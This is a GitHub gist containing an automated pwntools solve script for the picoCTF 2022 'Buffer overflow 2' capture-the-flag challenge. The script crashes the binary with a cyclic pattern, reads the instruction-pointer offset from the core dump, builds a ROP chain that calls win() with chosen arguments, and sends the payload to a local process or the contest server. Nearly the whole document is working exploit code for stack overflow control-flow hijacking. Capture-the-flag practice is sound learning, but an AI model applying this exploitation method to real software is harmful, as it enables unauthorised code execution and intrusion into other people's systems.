Skip to content

Instantly share code, notes, and snippets.

@jktrn
Last active June 17, 2022 04:56
Show Gist options
  • Star 1 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save jktrn/a5bfe03bdf5b2d766ef5fa402e9e35d6 to your computer and use it in GitHub Desktop.
Save jktrn/a5bfe03bdf5b2d766ef5fa402e9e35d6 to your computer and use it in GitHub Desktop.
Automated solve for the pwn/binary challenge "Buffer overflow 2" from the picoCTF 2022 competition.
from pwn import *
elf = context.binary = ELF('./vuln') # sets context + elf object
rop = ROP(elf) # creates ROP object
host, port = 'saturn.picoctf.net', [PORT]
p = process(elf.path) # creates local process w/ elf object
p.sendline(cyclic(128)) # sends cyclic pattern to crash
p.wait() # sigsegv generates core dump
core = Coredump('./core') # parses core dump file
rop.win(0xCAFEF00D, 0xF00DF00D) # Call win() with args
payload = fit({cyclic_find(core.eip): rop.chain()}) # pad ROP chain
if args.REMOTE:
p = remote(host, port)
else:
p = process(elf.path)
p.sendline(payload)
p.interactive()
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment